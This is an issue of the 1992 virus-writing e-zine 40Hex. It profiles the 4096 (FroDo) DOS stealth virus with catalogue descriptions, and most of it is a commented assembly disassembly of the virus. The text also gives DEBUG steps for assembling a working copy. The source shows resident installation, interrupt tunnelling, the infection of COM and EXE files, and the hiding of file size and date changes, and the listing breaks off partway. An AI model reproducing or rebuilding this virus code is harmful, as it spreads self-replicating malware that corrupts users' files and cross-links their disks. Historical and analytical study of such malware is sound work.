home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / 40hex-09.arj / 40HEX-9.005 < prev    next >
Text File  |  1992-12-31  |  95KB  |  2,004 lines

  1. 40Hex Number 9 Volume 2 Issue 5                                       File 005
  2.  
  3.  
  4. Virus Spotlite on: 4096
  5.  
  6. The 4096, or FroDo, virus was one of the first known stealth viruses.
  7. Presented below are the descriptions found in Patricia Hoffman's VSUM
  8. and in the Computer Virus Catalog.  Of course, the latter description
  9. is far more accurate, albeit shorter.   The virus infects EXE and COM
  10. files but not overlays due to the bizarre method with which it checks
  11. for a valid file extension.  It also cannot handle SYS files.  It has
  12. a boot block in it;  unfortunately, the code which is called to write
  13. the boot block to the disk is damaged and the system crashes when the
  14. virus attempts to access this code.  However, it is worthwhile to rip
  15. out the boot block from the code and write it to a disk;  the display
  16. is pretty neat.
  17.  
  18. To create a working copy, use debug to create a file with the follow-
  19. ing bytes:
  20.  
  21.   E9 68 02
  22.  
  23. and tack on the virus to the end of that file.  Or, do the following:
  24.  
  25. C:\>DEBUG 4096.COM
  26. -E FD
  27. XXXX:00FD  00.E9   00.68   00.02
  28. -R CX
  29. CX 0FF1
  30. :FF4
  31. -W FD
  32. Writing 0FF4 bytes
  33. -Q
  34.  
  35.                                         - Dark Angel
  36.  
  37.  
  38.                                      4096                                     
  39.  
  40.  Virus Name:  4096 
  41.  Aliases:     Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
  42.               Virus
  43.  V Status:    Common
  44.  Discovery:   January, 1990
  45.  Symptoms:    .COM, .EXE, & overlay file growth; TSR hides growth;
  46.               crosslinks; corruption of data files
  47.  Origin:      Israel
  48.  Eff Length:  4,096 Bytes
  49.  Type Code:   PRsA - Parasitic Resident .COM & .EXE Infector
  50.  Detection Method:  ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
  51.                     Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
  52.                     ViruSafe
  53.  Removal Instructions: CleanUp, F-Prot, NAV or delete infected files
  54.  
  55.  General Comments:
  56.        The 4096 virus was first isolated in January, 1990.  This virus is
  57.        considered a stealth virus in that it is almost invisible to the
  58.        system user.
  59.  
  60.        The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
  61.        bytes to their length.  Once the virus is resident in system memory,
  62.        the increase in length will not appear in a directory listing.  Once
  63.        this virus has installed itself into memory, it will infect any
  64.        executable file that is opened, including if it is opened with the
  65.        COPY or XCOPY command.
  66.  
  67.        This virus is destructive to both data files and executable files,
  68.        as it very slowly cross-links files on the system's disk.  The
  69.        cross-linking occurs so slowly that it appears there is a hardware
  70.        problem, the virus being almost invisible.  The cross-linking of
  71.        files is the result of the virus manipulating the FATs, changing the
  72.        number of available sectors, as well as the user issuing CHKDSK/F
  73.        command which will think that the files have lost sectors or
  74.        cross-linking if the virus is in memory.
  75.  
  76.        As a side note, if the virus is present in memory and you attempt to
  77.        copy infected files, the new copy of the file will not be infected
  78.        with the virus if the new copy does not have an executable file
  79.        extension.  Thus, one way to disinfect a system is to copy off all
  80.        the infected files to diskettes with a non-executable file extension
  81.        (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
  82.        memory, then power off the system and reboot from a write-protected,
  83.        uninfected system disk. Once rebooted and the virus is not in
  84.        memory, delete the infected files and copy back the files from the
  85.        diskettes to the original executable file names and extensions.
  86.  
  87.        The above will disinfect the system, if done correctly, but will
  88.        still leave the problem of cross-linked files which are permanently
  89.        damaged.
  90.  
  91.        On or after September 22 of any year, the 4096 virus will hang
  92.        infected systems.  This appears to be a "bug" in the virus in that
  93.        it goes into a time consuming loop.
  94.  
  95.        The 4096 virus also contains a boot-sector within its code; however,
  96.        it is never written out to the disk's boot sector.  Moving this boot
  97.        sector to the boot sector of a diskette and rebooting the system
  98.        will result in the message "FRODO LIVES" being displayed. September
  99.        22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
  100.        trilogy.
  101.  
  102.        An important note on the 4096 virus: this virus will also infect
  103.        some data files.  When this occurs, the data files will appear to be
  104.        fine on infected systems.  However, after the system is later
  105.        disinfected, these files will now be corrupted and unpredictable
  106.        results may occur.
  107.  
  108.        Known variant(s) of 4096 are:
  109.        4096-B: Similar to the 4096 virus, the main change is that the
  110.                encryption mechanism has been changed in order to avoid
  111.                detection.
  112.        4096-C: Isolated in January, 1991, this variant of 4096 is similar
  113.                to the original virus.  The major difference is that the DOS
  114.                CHKDSK command will not show any cross-linking of files or
  115.                lost clusters.  A symptom of infection by this variant is
  116.                that the disk space available according to a DIR command
  117.                will be more than the disk space available according to the
  118.                DOS CHKDSK program.
  119.        4096-D: Isolated in April, 1992, this variant of 4096 is similar
  120.                to the 4096-C variant in behavior.  The major difference is
  121.                that it has been modified to avoid detection by some anti-
  122.                viral utilities.
  123.                Origin:  Unknown  April, 1992. 
  124.  
  125. ======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) ======= 
  126. Entry...............: "4096" virus
  127. Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
  128. Virus Strain........: ---
  129. Virus detected when.: October 1989.
  130.               where.: Haifa, Israel.
  131. Classification......: Program Virus (extending), RAM-resident.
  132. Length of Virus.....: .COM files: length increased by 4096 bytes.
  133.                       .EXE files: length increased by 4096 bytes.
  134. --------------------- Preconditions -----------------------------------
  135. Operating System(s).: MS-DOS
  136. Version/Release.....: 2.xx upward
  137. Computer model(s)...: IBM-PC, XT, AT and compatibles
  138. --------------------- Attributes --------------------------------------
  139. Easy Identification.: ---
  140. Type of infection...: System: Allocates a memory block at high end of
  141.                               memory. Finds original address (inside 
  142.                               DOS) of Int 21h handler. Finds original
  143.                               address (inside BIOS) of Int 13h handler, 
  144.                               therefore bypasses all active monitors.
  145.                               Inserts a JMP FAR to virus code inside 
  146.                               original DOS handler.
  147.                       .COM files: program length increased by 4096
  148.                       .EXE files: program length increased by 4096
  149. Infection Trigger...: Programs are infected at load time (using the
  150.                       function Load/Execute of MS-DOS), and whenever 
  151.                       a file Access is done to a file with the exten-
  152.                       sion of .COM or .EXE, (Open file AH=3D, 
  153.                       Create file AH=3C, File attrib AH=43, 
  154.                       File time/date AH=57, etc.)
  155. Interrupts hooked...: INT21h, through a JMP FAR to virus code inside 
  156.                               DOS handler;
  157.                       INT01h, during virus installation & execution 
  158.                               of DOS's load/execute function (AH=4B);
  159.                       INT13h, INT24h during infection.
  160. Damage..............: The computer usually hangs up.
  161. Damage Trigger......: A Get Dos Version call when the date is after the 
  162.                       22th of September and before 1/1 of next year.
  163. Particularities.....: Infected files have their year set to (year+100)
  164.                       of the un-infected file.
  165.                       If the system is infected, the virus redirects 
  166.                       all file accesses so that the virus itself can
  167.                       not be read from the file. Also, find first/next 
  168.                       function returns are tampered so that files 
  169.                       with (year>100) are reduced by 4096 bytes in size.
  170. --------------------- Agents ------------------------------------------
  171. Countermeasures.....: Cannot be detected while in memory, so no 
  172.                       monitor/file change detector can help.
  173. Countermeasures successful:
  174.                       1) A Do-it-yourself way: Infect system by running 
  175.                          an infected file, ARC/ZIP/LHARC/ZOO all in-
  176.                          fected .COM and .EXE files, boot from unin-
  177.                          fected floppy, and UNARC/UNZIP/LHARC E etc. 
  178.                          all files. Pay special attention to disin-
  179.                          fection of COMMAND.COM.
  180.                       2) The JIV AntiVirus Package (by the author of 
  181.                          this contribution)
  182.                       3) F. Skulason's F-PROT package.
  183. Standard means......: ---
  184. --------------------- Acknowledgement ---------------------------------
  185. Location............: Weizmann Institute, Israel.
  186. Classification by...: Ori Berger
  187. Documentation by....: Ori Berger
  188. Date................: 26-February-1990
  189. ===================== End of "4096" Virus =============================
  190.  
  191. _4096           segment byte public
  192.                 assume  cs:_4096, ds:_4096
  193.  
  194. ; 4096 Virus
  195. ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
  196. ; Assemble with TASM; the resultant file size is 4081 bytes
  197.  
  198.                 org     0
  199. startvirus:
  200.                 db      0
  201.                 jmp     installvirus
  202. oldheader: ; original 1Ch bytes of the carrier file
  203.                 retn
  204.                 db      75h,02,44h,15h,46h,20h
  205.                 db      'Copyright Bourb%}i, I'
  206. endoldheader:
  207. EXEflag         db       00h
  208.                 db      0FEh, 3Ah
  209.  
  210. int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
  211.                 push    bp                      ; set up stack frame
  212.                 mov     bp,sp
  213.                 push    ax
  214.                 cmp     word ptr [bp+4],0C000h  ; in BIOS?
  215.                 jnb     foundorigint            ; nope, haven't found it
  216.                 mov     ax,cs:DOSsegment        ; in DOS?
  217.                 cmp     [bp+4],ax
  218.                 jbe     foundorigint
  219. exitint1:
  220.                 pop     ax
  221.                 pop     bp
  222.                 iret
  223. foundorigint:
  224.                 cmp     byte ptr cs:tracemode,1
  225.                 jz      tracemode1
  226.                 mov     ax,[bp+4]               ; save segment of entry point
  227.                 mov     word ptr cs:origints+2,ax
  228.                 mov     ax,[bp+2]               ; save offset of entry point
  229.                 mov     word ptr cs:origints,ax
  230.                 jb      finishint1
  231.                 pop     ax
  232.                 pop     bp
  233.                 mov     ss,cs:savess            ; restore the stack to its
  234.                 mov     sp,cs:savesp            ; original state
  235.                 mov     al,cs:saveIMR           ; Restore IMR
  236.                 out     21h,al                  ; (enable interrupts)
  237.                 jmp     setvirusints
  238. finishint1:
  239.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  240.                 mov     al,cs:saveIMR           ; and restore IMR
  241.                 out     21h,al
  242.                 jmp     short exitint1
  243. tracemode1:
  244.                 dec     byte ptr cs:instructionstotrace
  245.                 jnz     exitint1
  246.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  247.                 call    saveregs
  248.                 call    swapvirint21            ; restore original int
  249.                 lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
  250.                 mov     al,1
  251.                 call    setvect
  252.                 call    restoreregs
  253.                 jmp     short finishint1
  254.  
  255. getint:
  256.                 push    ds
  257.                 push    si
  258.                 xor     si,si                   ; clear si
  259.                 mov     ds,si                   ; ds->interrupt table
  260.                 xor     ah,ah                   ; cbw would be better!?
  261.                 mov     si,ax
  262.                 shl     si,1                    ; convert int # to offset in
  263.                 shl     si,1                    ; interrupt table (int # x 4)
  264.                 mov     bx,[si]                 ; es:bx = interrupt vector
  265.                 mov     es,[si+2]               ; get old interrupt vector
  266.                                                 ; save 3 bytes if use les bx,[si]
  267.                 pop     si
  268.                 pop     ds
  269.                 retn
  270.  
  271. installvirus:
  272.                 mov     word ptr cs:stackptr,offset topstack
  273.                 mov     cs:initialax,ax         ; save initial value for ax
  274.                 mov     ah,30h                  ; Get DOS version
  275.                 int     21h
  276.  
  277.                 mov     cs:DOSversion,al        ; Save DOS version
  278.                 mov     cs:carrierPSP,ds        ; Save PSP segment
  279.                 mov     ah,52h                  ; Get list of lists
  280.                 int     21h
  281.  
  282.                 mov     ax,es:[bx-2]            ; segment of first MCB
  283.                 mov     cs:DOSsegment,ax        ; save it for use in int 1
  284.                 mov     es,ax                   ; es = segment first MCB
  285.                 mov     ax,es:[1]               ; Get owner of first MCB
  286.                 mov     cs:ownerfirstMCB,ax     ; save it
  287.                 push    cs
  288.                 pop     ds
  289.                 mov     al,1                    ; get single step vector
  290.                 call    getint
  291.                 mov     word ptr ds:oldint1,bx  ; save it for later
  292.                 mov     word ptr ds:oldint1+2,es; restoration
  293.                 mov     al,21h                  ; get int 21h vector
  294.                 call    getint
  295.                 mov     word ptr ds:origints,bx
  296.                 mov     word ptr ds:origints+2,es
  297.                 mov     byte ptr ds:tracemode,0 ; regular trace mode on
  298.                 mov     dx,offset int1          ; set new int 1 handler
  299.                 mov     al,1
  300.                 call    setvect
  301.                 pushf
  302.                 pop     ax
  303.                 or      ax,100h                 ; turn on trap flag
  304.                 push    ax
  305.                 in      al,21h                  ; Get old IMR
  306.                 mov     ds:saveIMR,al
  307.                 mov     al,0FFh                 ; disable all interrupts
  308.                 out     21h,al
  309.                 popf
  310.                 mov     ah,52h                  ; Get list of lists
  311.                 pushf                           ; (for tracing purposes)
  312.                 call    dword ptr ds:origints   ; perform the tunnelling
  313.                 pushf
  314.                 pop     ax
  315.                 and     ax,0FEFFh               ; turn off trap flag
  316.                 push    ax
  317.                 popf
  318.                 mov     al,ds:saveIMR           ; reenable interrupts
  319.                 out     21h,al
  320.                 push    ds
  321.                 lds     dx,dword ptr ds:oldint1
  322.                 mov     al,1                    ; restore int 1 to the
  323.                 call    setvect                 ; original handler
  324.                 pop     ds
  325.                 les     di,dword ptr ds:origints; set up int 21h handlers
  326.                 mov     word ptr ds:oldint21,di
  327.                 mov     word ptr ds:oldint21+2,es
  328.                 mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
  329.                 mov     word ptr ds:int21store,offset otherint21
  330.                 mov     word ptr ds:int21store+2,cs
  331.                 call    swapvirint21            ; activate virus in memory
  332.                 mov     ax,4B00h
  333.                 mov     ds:checkres,ah          ; set resident flag to a
  334.                                                 ; dummy value
  335.                 mov     dx,offset EXEflag+1     ; save EXE flag
  336.                 push    word ptr ds:EXEflag
  337.                 int     21h                     ; installation check
  338.                                                 ; returns checkres=0 if
  339.                                                 ; installed
  340.  
  341.                 pop     word ptr ds:EXEflag     ; restore EXE flag
  342.                 add     word ptr es:[di-4],9
  343.                 nop                             ; !?
  344.                 mov     es,ds:carrierPSP        ; restore ES and DS to their
  345.                 mov     ds,ds:carrierPSP        ; original values
  346.                 sub     word ptr ds:[2],(topstack/10h)+1
  347.                                                 ; alter top of memory in PSP
  348.                 mov     bp,ds:[2]               ; get segment
  349.                 mov     dx,ds
  350.                 sub     bp,dx
  351.                 mov     ah,4Ah                  ; Find total available memory
  352.                 mov     bx,0FFFFh
  353.                 int     21h
  354.  
  355.                 mov     ah,4Ah                  ; Allocate all available memory
  356.                 int     21h
  357.  
  358.                 dec     dx                      ; go to MCB of virus memory
  359.                 mov     ds,dx
  360.                 cmp     byte ptr ds:[0],'Z'     ; is it the last block?
  361.                 je      carrierislastMCB
  362.                 dec     byte ptr cs:checkres    ; mark need to install virus
  363. carrierislastMCB:
  364.                 cmp     byte ptr cs:checkres,0  ; need to install?
  365.                 je      playwithMCBs            ; nope, go play with MCBs
  366.                 mov     byte ptr ds:[0],'M'     ; mark not end of chain
  367. playwithMCBs:
  368.                 mov     ax,ds:[3]               ; get memory size controlled
  369.                 mov     bx,ax                   ; by the MCB
  370.                 sub     ax,(topstack/10h)+1     ; calculate new size
  371.                 add     dx,ax                   ; find high memory segment
  372.                 mov     ds:[3],ax               ; put new size in MCB
  373.                 inc     dx                      ; one more for the MCB
  374.                 mov     es,dx                   ; es->high memory MCB
  375.                 mov     byte ptr es:[0],'Z'     ; mark end of chain
  376.                 push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
  377.                 pop     word ptr es:[1]         ; make it the owner
  378.                 mov     word ptr es:[3],160h    ; fill in the size field
  379.                 inc     dx
  380.                 mov     es,dx                   ; es->high memory area
  381.                 push    cs
  382.                 pop     ds
  383.                 mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
  384.                 mov     si,offset topstack-2
  385.                 mov     di,si
  386.                 std                             ; zopy backwards
  387.                 rep     movsw
  388.                 cld
  389.                 push    es                      ; set up stack for jmp into
  390.                 mov     ax,offset highentry     ; virus code in high memory
  391.                 push    ax
  392.                 mov     es,cs:carrierPSP        ; save current PSP segment
  393.                 mov     ah,4Ah                  ; Alter memory allocation
  394.                 mov     bx,bp                   ; bx = paragraphs
  395.                 int     21h
  396.                 retf                            ; jmp to virus code in high
  397. highentry:                                      ; memory
  398.                 call    swapvirint21
  399.                 mov     word ptr cs:int21store+2,cs
  400.                 call    swapvirint21
  401.                 push    cs
  402.                 pop     ds
  403.                 mov     byte ptr ds:handlesleft,14h ; reset free handles count
  404.                 push    cs
  405.                 pop     es
  406.                 mov     di,offset handletable
  407.                 mov     cx,14h
  408.                 xor     ax,ax                   ; clear handle table
  409.                 rep     stosw
  410.                 mov     ds:hideclustercountchange,al ; clear the flag
  411.                 mov     ax,ds:carrierPSP
  412.                 mov     es,ax                   ; es->PSP
  413.                 lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
  414.                 mov     ds,ax                   ; ds->PSP
  415.                 add     ax,10h                  ; adjust for PSP
  416.                 add     word ptr cs:oldheader+16h,ax ; adjust jmp location
  417.                 cmp     byte ptr cs:EXEflag,0   ; for PSP
  418.                 jne     returntoEXE
  419. returntoCOM:
  420.                 sti
  421.                 mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
  422.                 mov     ds:[100h],ax            ; COM file
  423.                 mov     ax,word ptr cs:oldheader+2
  424.                 mov     ds:[102h],ax
  425.                 mov     ax,word ptr cs:oldheader+4
  426.                 mov     ds:[104h],ax
  427.                 push    word ptr cs:carrierPSP  ; Segment of carrier file's
  428.                 mov     ax,100h                 ; PSP
  429.                 push    ax
  430.                 mov     ax,cs:initialax         ; restore orig. value of ax
  431.                 retf                            ; return to original COM file
  432.  
  433. returntoEXE:
  434.                 add     word ptr cs:oldheader+0eh,ax
  435.                 mov     ax,cs:initialax         ; Restore ax
  436.                 mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
  437.                 mov     sp,word ptr cs:oldheader+10h ; original value
  438.                 sti
  439.                 jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
  440.                                                 ; entry point
  441. entervirus:
  442.                 cmp     sp,100h                 ; COM file?
  443.                 ja      dont_resetstack         ; if so, skip this
  444.                 xor     sp,sp                   ; new stack
  445. dont_resetstack:
  446.                 mov     bp,ax
  447.                 call    next                    ; calculate relativeness
  448. next:
  449.                 pop     cx
  450.                 sub     cx,offset next          ; cx = delta offset
  451.                 mov     ax,cs                   ; ax = segment
  452.                 mov     bx,10h                  ; convert to offset
  453.                 mul     bx
  454.                 add     ax,cx
  455.                 adc     dx,0
  456.                 div     bx                      ; convert to seg:off
  457.                 push    ax                      ; set up stack for jmp
  458.                 mov     ax,offset installvirus  ; to installvirus
  459.                 push    ax
  460.                 mov     ax,bp
  461.                 retf                            ; go to installvirus
  462.  
  463. int21commands:
  464.                 db      30h     ; get DOS version
  465.                 dw      offset getDOSversion
  466.                 db      23h     ; FCB get file size
  467.                 dw      offset FCBgetfilesize
  468.                 db      37h     ; get device info
  469.                 dw      offset get_device_info
  470.                 db      4Bh     ; execute
  471.                 dw      offset execute
  472.                 db      3Ch     ; create file w/ handle
  473.                 dw      offset createhandle
  474.                 db      3Dh     ; open file
  475.                 dw      offset openhandle
  476.                 db      3Eh     ; close file
  477.                 dw      offset handleclosefile
  478.                 db      0Fh     ; FCB open file
  479.                 dw      offset FCBopenfile
  480.                 db      14h     ; sequential FCB read
  481.                 dw      offset sequentialFCBread
  482.                 db      21h     ; random FCB read
  483.                 dw      offset randomFCBread
  484.                 db      27h     ; random FCB block read
  485.                 dw      offset randomFCBblockread
  486.                 db      11h     ; FCB find first
  487.                 dw      offset FCBfindfirstnext
  488.                 db      12h     ; FCB find next
  489.                 dw      offset FCBfindfirstnext
  490.                 db      4Eh     ; filename find first
  491.                 dw      offset filenamefindfirstnext
  492.                 db      4Fh     ; filename find next
  493.                 dw      offset filenamefindfirstnext
  494.                 db      3Fh     ; read
  495.                 dw      offset handleread
  496.                 db      40h     ; write
  497.                 dw      offset handlewrite
  498.                 db      42h     ; move file pointer
  499.                 dw      offset handlemovefilepointer
  500.                 db      57h     ; get/set file time/date
  501.                 dw      offset getsetfiletimedate
  502.                 db      48h     ; allocate memory
  503.                 dw      offset allocatememory
  504. endcommands:
  505.  
  506. otherint21:
  507.                 cmp     ax,4B00h                ; execute?
  508.                 jnz     notexecute
  509.                 mov     cs:checkres,al          ; clear the resident flag
  510. notexecute:
  511.                 push    bp                      ; set up stack frame
  512.                 mov     bp,sp
  513.                 push    [bp+6]                  ; push old flags
  514.                 pop     cs:int21flags           ; and put in variable
  515.                 pop     bp                      ; why?
  516.                 push    bp                      ; why?
  517.                 mov     bp,sp                   ; set up new stack frame
  518.                 call    saveregs
  519.                 call    swapvirint21            ; reenable DOS int 21h handler
  520.                 call    disableBREAK
  521.                 call    restoreregs
  522.                 call    _pushall
  523.                 push    bx
  524.                 mov     bx,offset int21commands ; bx->command table
  525. scanforcommand:
  526.                 cmp     ah,cs:[bx]              ; scan for the function
  527.                 jne     findnextcommand         ; code/subroutine combination
  528.                 mov     bx,cs:[bx+1]
  529.                 xchg    bx,[bp-14h]
  530.                 cld
  531.                 retn
  532. findnextcommand:
  533.                 add     bx,3                    ; go to next command
  534.                 cmp     bx,offset endcommands   ; in the table until
  535.                 jb      scanforcommand          ; there are no more
  536.                 pop     bx
  537. exitotherint21:
  538.                 call    restoreBREAK
  539.                 in      al,21h                  ; save IMR
  540.                 mov     cs:saveIMR,al
  541.                 mov     al,0FFh                 ; disable all interrupts
  542.                 out     21h,al
  543.                 mov     byte ptr cs:instructionstotrace,4 ; trace into
  544.                 mov     byte ptr cs:tracemode,1           ; oldint21
  545.                 call    replaceint1             ; set virus int 1 handler
  546.                 call    _popall
  547.                 push    ax
  548.                 mov     ax,cs:int21flags        ; get the flags
  549.                 or      ax,100h                 ; turn on the trap flag
  550.                 push    ax                      ; and set it in motion
  551.                 popf
  552.                 pop     ax
  553.                 pop     bp
  554.                 jmp     dword ptr cs:oldint21   ; chain back to original int
  555.                                                 ; 21h handler -- do not return
  556.  
  557. exitint21:
  558.                 call    saveregs
  559.                 call    restoreBREAK
  560.                 call    swapvirint21
  561.                 call    restoreregs
  562.                 pop     bp
  563.                 push    bp                      ; set up stack frame
  564.                 mov     bp,sp
  565.                 push    word ptr cs:int21flags  ; get the flags and put
  566.                 pop     word ptr [bp+6]         ; them on the stack for
  567.                 pop     bp                      ; the iret
  568.                 iret
  569.  
  570. FCBfindfirstnext:
  571.                 call    _popall
  572.                 call    callint21
  573.                 or      al,al                   ; Found any files?
  574.                 jnz     exitint21               ; guess not
  575.                 call    _pushall
  576.                 call    getdisktransferaddress
  577.                 mov     al,0
  578.                 cmp     byte ptr [bx],0FFh      ; Extended FCB?
  579.                 jne     findfirstnextnoextendedFCB
  580.                 mov     al,[bx+6]
  581.                 add     bx,7                    ; convert to normal FCB
  582. findfirstnextnoextendedFCB:
  583.                 and     cs:hide_size,al
  584.                 test    byte ptr [bx+1Ah],80h   ; check year bit for virus
  585.                 jz      _popall_then_exitint21  ; infection tag. exit if so
  586.                 sub     byte ptr [bx+1Ah],0C8h  ; alter file date
  587.                 cmp     byte ptr cs:hide_size,0
  588.                 jne     _popall_then_exitint21
  589.                 sub     word ptr [bx+1Dh],1000h ; hide file size
  590.                 sbb     word ptr [bx+1Fh],0
  591. _popall_then_exitint21:
  592.                 call    _popall
  593.                 jmp     short exitint21
  594.  
  595. FCBopenfile:
  596.                 call    _popall
  597.                 call    callint21               ; chain to original int 21h
  598.                 call    _pushall
  599.                 or      al,al                   ; 0 = success
  600.                 jnz     _popall_then_exitint21
  601.                 mov     bx,dx
  602.                 test    byte ptr [bx+15h],80h   ; check if infected yet
  603.                 jz      _popall_then_exitint21
  604.                 sub     byte ptr [bx+15h],0C8h  ; restore date
  605.                 sub     word ptr [bx+10h],1000h ; and hide file size
  606.                 sbb     byte ptr [bx+12h],0
  607.                 jmp     short _popall_then_exitint21
  608.  
  609. randomFCBblockread:
  610.                 jcxz    go_exitotherint21       ; reading any blocks?
  611.  
  612. randomFCBread:
  613.                 mov     bx,dx
  614.                 mov     si,[bx+21h]             ; check if reading first
  615.                 or      si,[bx+23h]             ; bytes
  616.                 jnz     go_exitotherint21
  617.                 jmp     short continueFCBread
  618.  
  619. sequentialFCBread:
  620.                 mov     bx,dx
  621.                 mov     ax,[bx+0Ch]             ; check if reading first
  622.                 or      al,[bx+20h]             ; bytes
  623.                 jnz     go_exitotherint21
  624. continueFCBread:
  625.                 call    checkFCBokinfect
  626.                 jnc     continuecontinueFCBread
  627. go_exitotherint21:
  628.                 jmp     exitotherint21
  629. continuecontinueFCBread:
  630.                 call    _popall
  631.                 call    _pushall
  632.                 call    callint21               ; chain to original handler
  633.                 mov     [bp-4],ax               ; set the return codes
  634.                 mov     [bp-8],cx               ; properly
  635.                 push    ds                      ; save FCB pointer
  636.                 push    dx
  637.                 call    getdisktransferaddress
  638.                 cmp     word ptr [bx+14h],1     ; check for EXE infection
  639.                 je      FCBreadinfectedfile     ; (IP = 1)
  640.                 mov     ax,[bx]                 ; check for COM infection
  641.                 add     ax,[bx+2]               ; (checksum = 0)
  642.                 add     ax,[bx+4]
  643.                 jz      FCBreadinfectedfile
  644.                 add     sp,4                    ; no infection, no stealth
  645.                 jmp     short _popall_then_exitint21 ; needed
  646. FCBreadinfectedfile:
  647.                 pop     dx                      ; restore address of the FCB
  648.                 pop     ds
  649.                 mov     si,dx
  650.                 push    cs
  651.                 pop     es
  652.                 mov     di,offset tempFCB       ; copy FCB to temporary one
  653.                 mov     cx,25h
  654.                 rep     movsb
  655.                 mov     di,offset tempFCB
  656.                 push    cs
  657.                 pop     ds
  658.                 mov     ax,[di+10h]             ; get old file size
  659.                 mov     dx,[di+12h]
  660.                 add     ax,100Fh                ; increase by virus size
  661.                 adc     dx,0                    ; and round to the nearest
  662.                 and     ax,0FFF0h               ; paragraph
  663.                 mov     [di+10h],ax             ; insert new file size
  664.                 mov     [di+12h],dx
  665.                 sub     ax,0FFCh
  666.                 sbb     dx,0
  667.                 mov     [di+21h],ax             ; set new random record #
  668.                 mov     [di+23h],dx
  669.                 mov     word ptr [di+0Eh],1     ; record size = 1
  670.                 mov     cx,1Ch
  671.                 mov     dx,di
  672.                 mov     ah,27h                  ; random block read 1Ch bytes
  673.                 call    callint21
  674.                 jmp     _popall_then_exitint21
  675.  
  676. FCBgetfilesize:
  677.                 push    cs
  678.                 pop     es
  679.                 mov     si,dx
  680.                 mov     di,offset tempFCB       ; copy FCB to temp buffer
  681.                 mov     cx,0025h
  682.                 repz    movsb
  683.                 push    ds
  684.                 push    dx
  685.                 push    cs
  686.                 pop     ds
  687.                 mov     dx,offset tempFCB
  688.                 mov     ah,0Fh                  ; FCB open file
  689.                 call    callint21
  690.                 mov     ah,10h                  ; FCB close file
  691.                 call    callint21
  692.                 test    byte ptr [tempFCB+15h],80h ; check date bit
  693.                 pop     si
  694.                 pop     ds
  695.                 jz      will_exitotherint21     ; exit if not infected
  696.                 les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
  697.                 mov     ax,es
  698.                 sub     bx,1000h                ; hide increase
  699.                 sbb     ax,0
  700.                 xor     dx,dx
  701.                 mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
  702.                 dec     cx
  703.                 add     bx,cx
  704.                 adc     ax,0
  705.                 inc     cx
  706.                 div     cx
  707.                 mov     [si+23h],ax             ; fix random access record #
  708.                 xchg    dx,ax
  709.                 xchg    bx,ax
  710.                 div     cx
  711.                 mov     [si+21h],ax             ; fix random access record #
  712.                 jmp     _popall_then_exitint21
  713.  
  714. filenamefindfirstnext:
  715.                 and     word ptr cs:int21flags,-2 ; turn off trap flag
  716.                 call    _popall
  717.                 call    callint21
  718.                 call    _pushall
  719.                 jnb     filenamefffnOK          ; continue if a file is found
  720.                 or      word ptr cs:int21flags,1
  721.                 jmp     _popall_then_exitint21
  722.  
  723. filenamefffnOK:
  724.                 call    getdisktransferaddress
  725.                 test    byte ptr [bx+19h],80h   ; Check high bit of date
  726.                 jnz     filenamefffnfileinfected; Bit set if infected
  727.                 jmp     _popall_then_exitint21
  728. filenamefffnfileinfected:
  729.                 sub     word ptr [bx+1Ah],1000h ; hide file length increase
  730.                 sbb     word ptr [bx+1Ch],0
  731.                 sub     byte ptr [bx+19h],0C8h  ; and date change
  732.                 jmp     _popall_then_exitint21
  733.  
  734. createhandle:
  735.                 push    cx
  736.                 and     cx,7                    ; mask the attributes
  737.                 cmp     cx,7                    ; r/o, hidden, & system?
  738.                 je      exit_create_handle
  739.                 pop     cx
  740.                 call    replaceint13and24
  741.                 call    callint21               ; chain to original int 21h
  742.                 call    restoreint13and24
  743.                 pushf
  744.                 cmp     byte ptr cs:errorflag,0 ; check if any errors yet
  745.                 je      no_errors_createhandle
  746.                 popf
  747. will_exitotherint21:
  748.                 jmp     exitotherint21
  749. no_errors_createhandle:
  750.                 popf
  751.                 jc      other_error_createhandle; exit on error
  752.                 mov     bx,ax                   ; move handle to bx
  753.                 mov     ah,3Eh                  ; Close file
  754.                 call    callint21
  755.                 jmp     short openhandle
  756. other_error_createhandle:
  757.                 or      byte ptr cs:int21flags,1; turn on the trap flag
  758.                 mov     [bp-4],ax               ; set the return code properly
  759.                 jmp     _popall_then_exitint21
  760. exit_create_handle:
  761.                 pop     cx
  762.                 jmp     exitotherint21
  763.  
  764. openhandle:
  765.                 call    getcurrentPSP
  766.                 call    checkdsdxokinfect
  767.                 jc      jmp_exitotherint21
  768.                 cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
  769.                 je      jmp_exitotherint21        ; entry in the table
  770.                 call    setup_infection         ; open the file
  771.                 cmp     bx,0FFFFh               ; error?
  772.                 je      jmp_exitotherint21      ; if so, exit
  773.                 dec     byte ptr cs:handlesleft
  774.                 push    cs
  775.                 pop     es
  776.                 mov     di,offset handletable
  777.                 mov     cx,14h
  778.                 xor     ax,ax                   ; find end of the table
  779.                 repne   scasw
  780.                 mov     ax,cs:currentPSP        ; put the PSP value and the
  781.                 mov     es:[di-2],ax            ; handle # in the table
  782.                 mov     es:[di+26h],bx
  783.                 mov     [bp-4],bx               ; put handle # in return code
  784. handleopenclose_exit:
  785.                 and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
  786.                 jmp     _popall_then_exitint21
  787. jmp_exitotherint21:
